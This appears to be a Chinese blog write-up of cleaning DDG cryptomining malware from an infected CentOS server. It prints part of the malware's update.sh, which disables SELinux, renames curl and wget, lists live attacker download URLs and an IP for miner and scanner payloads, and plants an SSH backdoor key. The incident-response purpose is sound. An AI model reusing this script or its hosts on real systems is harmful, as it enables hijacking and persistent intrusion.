专栏首页Java架构师历程挖矿病毒DDG的分析与清除

挖矿病毒DDG的分析与清除

12 次查看

注:以下所有操作均在CentOS 7.2 x86_64位系统下完成。

今天突然收到“阿里云”的告警短信:

尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警查看事件详情,并根据事件建议的方案进行处理。

于是登上“云盾云安全中心”查看,发现安全提示:

点进去查看详细信息:

网上查了下,发现这是一款在Linux/Windows双平台的挖矿病毒木马,该木马是通过Redis漏洞传播的挖矿木马DDG的变种,使用Go语言1.10编译使用了大量的基础库文件。该木马会大量消耗服务器资源,难以清除并具有内网扩散功能。

注:DDG挖矿病毒是一款在Linux系统下运行的恶意挖矿病毒,该病毒从去年一直活跃在现在,已经挖取了价值一千多万人民币的虚拟币货币,此病毒样本在一年左右的时间,已开发出了DDG.3012/DDG3013/DDG3020多个变种版本。

接下来清除该病毒。

#病毒清除(第一次)#

1)使用top命令查看当前系统资源使用情况:

# top
top - 13:38:00 up 4 days, 20:30,  1 user,  load average: 35.71, 35.86, 35.53
Tasks: 100 total,   1 running,  97 sleeping,   0 stopped,   2 zombie
%Cpu(s): 92.9 us,  6.9 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.2 si,  0.0 st
KiB Mem : 32781996 total, 32107928 free,   487608 used,   186460 buff/cache
KiB Swap:        0 total,        0 free,        0 used. 31952696 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                       
  923 root      20   0 2420152  90968    968 S 358.0  0.3  99:15.00 sysupdate                                                                     
  965 root      20   0 1088136  72112   1044 S  40.7  0.2  11:29.25 networkservice                                                                
25340 root      10 -10  130264  15648   9396 S   1.3  0.0  26:16.12 AliYunDun                                                                     
    9 root      20   0       0      0      0 S   0.3  0.0   1:54.95 rcu_sched                                                                     
 1300 root      20   0  157672   2148   1532 R   0.3  0.0   0:00.20 

top

可以看到sysupdate和networkservice两个异常进程占用了大量的服务器资源。

首先处理sysupdate进程。

2)通过PID找到该异常进程的文件路径。

# ls -l /proc/923/exe
lrwxrwxrwx 1 root root 0 Oct 30 13:10 /proc/923/exe -> /etc/sysupdate

可以看到该文件的绝对路径是/etc/sysupdate。我们把这个文件下载下来,放到Virustotal分析一下。

确认是XMR病毒无疑,传送门

3)首先干掉进程。

# kill -9 923

4)接着删除文件。

# rm -f /etc/sysupdate
rm: cannot remove ‘/etc/sysupdate’: Operation not permitted

无法删除,看来是做了保护,可能是使用chattr命令对文件做了锁定。

5)解除锁定并再次尝试删除文件。

# chattr -i /etc/sysupdate
# rm -f /etc/sysupdate

这次可以删除了。

然后按照上面的步骤把networkservice异常进程文件也删除掉。

查看当前服务器资源使用情况,发现一切正常了:

# top
top - 14:34:43 up 4 days, 21:26,  1 user,  load average: 0.00, 0.02, 1.36
Tasks:  93 total,   1 running,  92 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.1 us,  0.2 sy,  0.0 ni, 99.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 32781996 total, 32128876 free,   297728 used,   355392 buff/cache
KiB Swap:        0 total,        0 free,        0 used. 32132976 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                       
  503 root      20   0 1414308  28104   7676 S   0.7  0.1  14:32.75 CmsGoAgent.linu                                                               
25340 root      10 -10  130264  15648   9396 S   0.7  0.0  26:49.00 AliYunDun                                                                     
31672 root      20   0       0      0      0 S   0.3  0.0   0:00.57 kworker/3:2

这次服务器正常了。

#病毒清除(第二次)#

没过多久,再次收到“阿里云”报警短信:

云盾检测到您的服务器正在通过HTTP请求,尝试连接一个可疑恶意下载源,可能是黑客通过运行指令、恶意进程等方式从远程服务器下载恶意文件,危害服务器安全。如果该操作不是您自己运行,请及时排查入侵原因,例如查看本机的计划任务、发起对外连接的父子进程。

再次登上“云盾云安全中心”查看,发现安全提示:

发现刚刚删除的sysupdate文件又回来了。

# more /etc/sys
sysconfig/          sysctl.d/           system-release      sysupdate           
sysctl.conf         systemd/            system-release-cpe  sysupdates

还有一个可疑的sysupdates文件,猜测可能是写了定时任务。

1)查看定时任务的日志,为了方便过滤,加入关键词“update”。

# more /var/log/cron log | grep "update"
Oct 30 12:30:01 iabczwz93qwr9mrtmr CROND[31702]: (root) CMD (sh /etc/update.sh >/dev/null 2>&1)
Oct 30 13:10:01 iabczwz93qwr9mrtmr CROND[32719]: (root) CMD (sh /etc/update.sh )

果然,发现了一个异常的/etc/update.sh脚本。

2)打开这个脚本查看其内容:

# vim /etc/update.sh

#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size="4954"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size="2584072"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"
...

可以看到它在这里做了好几件事,首先是往/etc目录下面下载以下文件:

  • /etc/config.json:挖矿配置文件,包含钱包地址与挖矿参数等;
  • /etc/sysupdate:XMR挖矿程序主体;
  • /etc/sysupdates:XMR挖矿程序主体备份;
  • /etc/sysguard:根据获取到的系统版本下载针对性Payload执行,包含通信模块用于监控并保证病毒的正常运行以及更新;
  • /etc/networkservice:漏洞检测模块,针对Redis、MSSQL、ThinkPHP、WebLogic等软件漏洞和系统漏洞扫描并入侵其他的主机;
  • /etc/update.sh:本脚本文件。

简单分析下/etc/update.sh文件,发现它做了以下事情:

  • 下载病毒模块;
  • 在kill_miner_proc函数中清除其他挖矿病毒;
  • 定时任务存活;
  • 为文件添加chattr锁定;
  • 修改IPTABLES;
  • 清除日志;
  • 关闭SELinux;
  • ……

还有个后门,创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,具体代码如下:

...
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
...

我们来查看下这个后门:

# vim /root/.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17

接下来我们开始干活。

3)首先清除该定时任务。

4)将相关进程再次重新全部kill杀掉,并且将上述文件全部删除。

# rm -f /etc/update.sh
# rm -f /etc/config.json
# rm -f /etc/sysupdate
# rm -f /etc/sysupdates
# rm -f /etc/networkservice

5)将SSH后门删除。

# rm -f /root/.ssh/authorized_keys

至此,任务完成。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Nginx多个子域名映射到不同的端口或 ip

    我决定采用采用 子域名区分服务 的方式,然后使用 nginx 做反向代理,分发到不同的端口。

    Java架构师历程
  • docker学习笔记(命令)

    Java架构师历程
  • solr

    Solr它是一种开放源码的、基于 Lucene Java 的搜索服务器,易于加入到 Web 应用程序中。Solr 提供了层面搜索(就是统计)、命中醒目显示并且支...

    Java架构师历程
  • 国内有哪些好的刷题网站?

    CoderAfterWork靠写代码挣钱去浪... 刷题也就这么点地方 1、Leetcode 鼎鼎大名的Leetcode,据不完全统计在上面被刷过的题可以围绕地...

    前朝楚水
  • No.008 String to Integer (atoi)

    8. String to Integer (atoi) Total Accepted: 112863 Total Submissions: 825433 Dif...

    mukekeheart
  • Kubernetes-保障集群内节点和网络安全

      在pod的yaml文件中就设置spec.hostNetwork: true

    yaohong
  • 源码安装 python3

    Linux下默认系统自带python2.6的版本,这个版本被系统很多程序所依赖,所以不建议删除,如果使用最新的Python3那么我们知道编译安装源码包和系统默认...

    用户2398817
  • 如何使用Kubernetes里的NetworkPolicy

    创建一个类型为NetworkPolicy的Kubernetes对象的yaml文件。

    Jerry Wang
  • TKE操作指南 - TKE K8S问题排查(十八)

    问题描述:查看pod日志报错,Normal Killing 39s (x735 over 15h) kubelet, 10.179.80.31 Kill...

    亮哥说TKE
  • Kubelet源码走读(一)—— Pod如何被创建

    一开始问题肯定是比较宏观的,在看代码过程中会进一步细化。这里先带着我们的问题去 看源码:

    ivanscai

扫码关注云+社区

领取腾讯云代金券

玩转腾讯云 有奖征文活动